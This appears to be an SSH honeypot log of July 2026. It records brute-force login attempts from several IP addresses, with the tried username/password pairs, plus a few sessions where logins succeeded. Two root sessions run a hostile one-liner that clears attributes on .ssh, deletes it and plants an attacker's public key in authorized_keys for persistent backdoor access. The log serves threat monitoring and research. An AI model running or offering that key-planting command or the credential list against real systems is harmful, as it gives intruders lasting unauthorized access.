Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "d493bb188947",
  "src_ip": "121.227.31.13",
  "start_time": "2026-07-21T01:45:40.423394Z",
  "end_time": "2026-07-21T01:47:40.428830Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:45:31.948377 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jacob

Record ID: 4ca676b30312

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "4ca676b30312",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:45:31.948377Z",
  "end_time": "2026-07-21T01:45:34.268088Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "jacob",
      "pass": "@WSX1qaz"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

114.67.127.241

2026-07-21 01:45:17.067390 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4d6e21a16cb1

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "4d6e21a16cb1",
  "src_ip": "114.67.127.241",
  "start_time": "2026-07-21T01:45:17.067390Z",
  "end_time": "2026-07-21T01:47:17.071754Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:45:14.210613 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jacob

Record ID: d524f681cde5

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "d524f681cde5",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:45:14.210613Z",
  "end_time": "2026-07-21T01:45:16.059702Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "jacob",
      "pass": "dell@2023"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.26.157.32

2026-07-21 01:45:12.950385 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 347c5b95ad1a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "347c5b95ad1a",
  "src_ip": "193.26.157.32",
  "start_time": "2026-07-21T01:45:12.950385Z",
  "end_time": "2026-07-21T01:45:13.902397Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.26.157.32

2026-07-21 01:45:10.845842 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: df5673df67fa

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "df5673df67fa",
  "src_ip": "193.26.157.32",
  "start_time": "2026-07-21T01:45:10.845842Z",
  "end_time": "2026-07-21T01:45:12.802448Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.26.157.32

2026-07-21 01:45:08.843279 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / CDE#4rfv

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 3fb0bd6a9a18

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3fb0bd6a9a18",
  "src_ip": "193.26.157.32",
  "start_time": "2026-07-21T01:45:08.843279Z",
  "end_time": "2026-07-21T01:45:13.898407Z",
  "duration": "5.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "CDE#4rfv"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 01:44:56.027894 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: infocare

Record ID: 5084e9e2ec5d

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "5084e9e2ec5d",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:44:56.027894Z",
  "end_time": "2026-07-21T01:44:57.915729Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "infocare",
      "pass": "a123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:44:38.040851 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / 1qaz@WSX3edc

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo 'dGVzdA==' | base64 -d 2>/dev/null

Record ID: 9e5d3ab0312b

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "9e5d3ab0312b",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:44:38.040851Z",
  "end_time": "2026-07-21T01:44:39.338757Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "1qaz@WSX3edc"
  },
  "commands": [
    "echo 'dGVzdA==' | base64 -d 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

121.227.31.13

2026-07-21 01:44:26.710733 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4b04ea1780cb

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "4b04ea1780cb",
  "src_ip": "121.227.31.13",
  "start_time": "2026-07-21T01:44:26.710733Z",
  "end_time": "2026-07-21T01:46:26.715237Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:44:20.509503 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dell

Record ID: a4e0ad28a294

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "a4e0ad28a294",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:44:20.509503Z",
  "end_time": "2026-07-21T01:44:22.342693Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "dell",
      "pass": "qq741511"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

114.67.127.241

2026-07-21 01:44:15.353042 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mexal

Record ID: 65da3ea48134

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "65da3ea48134",
  "src_ip": "114.67.127.241",
  "start_time": "2026-07-21T01:44:15.353042Z",
  "end_time": "2026-07-21T01:44:17.948206Z",
  "duration": "2.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "mexal",
      "pass": "mexal"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:44:02.726113 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dell

Record ID: 8e568a428b60

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "8e568a428b60",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:44:02.726113Z",
  "end_time": "2026-07-21T01:44:04.589646Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "dell",
      "pass": "dell.123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:43:44.892946 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: infocare

Record ID: 79c280b47d5a

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "79c280b47d5a",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:43:44.892946Z",
  "end_time": "2026-07-21T01:43:46.734612Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "infocare",
      "pass": "dell-2021"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:43:28.237455 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: controll

Record ID: c5bc99493902

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "c5bc99493902",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:43:28.237455Z",
  "end_time": "2026-07-21T01:43:30.108668Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "controll",
      "pass": "Jushi@2025!"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

114.67.127.241

2026-07-21 01:43:12.500969 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fefb5f2dd0f7

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "fefb5f2dd0f7",
  "src_ip": "114.67.127.241",
  "start_time": "2026-07-21T01:43:12.500969Z",
  "end_time": "2026-07-21T01:45:12.506091Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

121.227.31.13

2026-07-21 01:43:11.044966 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6dac2ff19581

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "6dac2ff19581",
  "src_ip": "121.227.31.13",
  "start_time": "2026-07-21T01:43:11.044966Z",
  "end_time": "2026-07-21T01:45:11.049068Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:43:09.369071 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: tempusr

Record ID: 71f5171b3952

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "71f5171b3952",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:43:09.369071Z",
  "end_time": "2026-07-21T01:43:11.283231Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "tempusr",
      "pass": "QAZ2wsx"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.26.157.32

2026-07-21 01:42:56.093026 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: ac6b2e9ebdb5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ac6b2e9ebdb5",
  "src_ip": "193.26.157.32",
  "start_time": "2026-07-21T01:42:56.093026Z",
  "end_time": "2026-07-21T01:42:57.058813Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.26.157.32

2026-07-21 01:42:54.013114 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 32fc66df788c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "32fc66df788c",
  "src_ip": "193.26.157.32",
  "start_time": "2026-07-21T01:42:54.013114Z",
  "end_time": "2026-07-21T01:42:55.944057Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:42:52.473343 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: moodle

Record ID: c13fe5872878

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "c13fe5872878",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:42:52.473343Z",
  "end_time": "2026-07-21T01:42:54.348812Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "moodle",
      "pass": "1234*"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.26.157.32

2026-07-21 01:42:51.993443 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / hy@123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 94c1bf78c279

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "94c1bf78c279",
  "src_ip": "193.26.157.32",
  "start_time": "2026-07-21T01:42:51.993443Z",
  "end_time": "2026-07-21T01:42:57.055790Z",
  "duration": "5.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "hy@123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

60.163.139.198

2026-07-21 01:42:34.158221 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: username

Record ID: 47ee137813cf

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "47ee137813cf",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:42:34.158221Z",
  "end_time": "2026-07-21T01:42:36.035207Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "username",
      "pass": "qq741511"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

60.163.139.198

2026-07-21 01:42:16.117607 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: infocare

Record ID: d12165878a3f

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "d12165878a3f",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:42:16.117607Z",
  "end_time": "2026-07-21T01:42:17.957792Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "infocare",
      "pass": "Aa123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

114.67.127.241

2026-07-21 01:42:11.139888 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 93018e898bfd

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "93018e898bfd",
  "src_ip": "114.67.127.241",
  "start_time": "2026-07-21T01:42:11.139888Z",
  "end_time": "2026-07-21T01:44:11.150892Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

60.163.139.198

2026-07-21 01:41:57.795254 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: middleware

Record ID: c9ef6b365117

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "c9ef6b365117",
  "src_ip": "60.163.139.198",
  "start_time": "2026-07-21T01:41:57.795254Z",
  "end_time": "2026-07-21T01:41:59.724868Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "middleware",
      "pass": "123@qwe"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

121.227.31.13

2026-07-21 01:41:55.939117 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8976f7f39d86

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2m 0s

{
  "id": "8976f7f39d86",
  "src_ip": "121.227.31.13",
  "start_time": "2026-07-21T01:41:55.939117Z",
  "end_time": "2026-07-21T01:43:55.946187Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}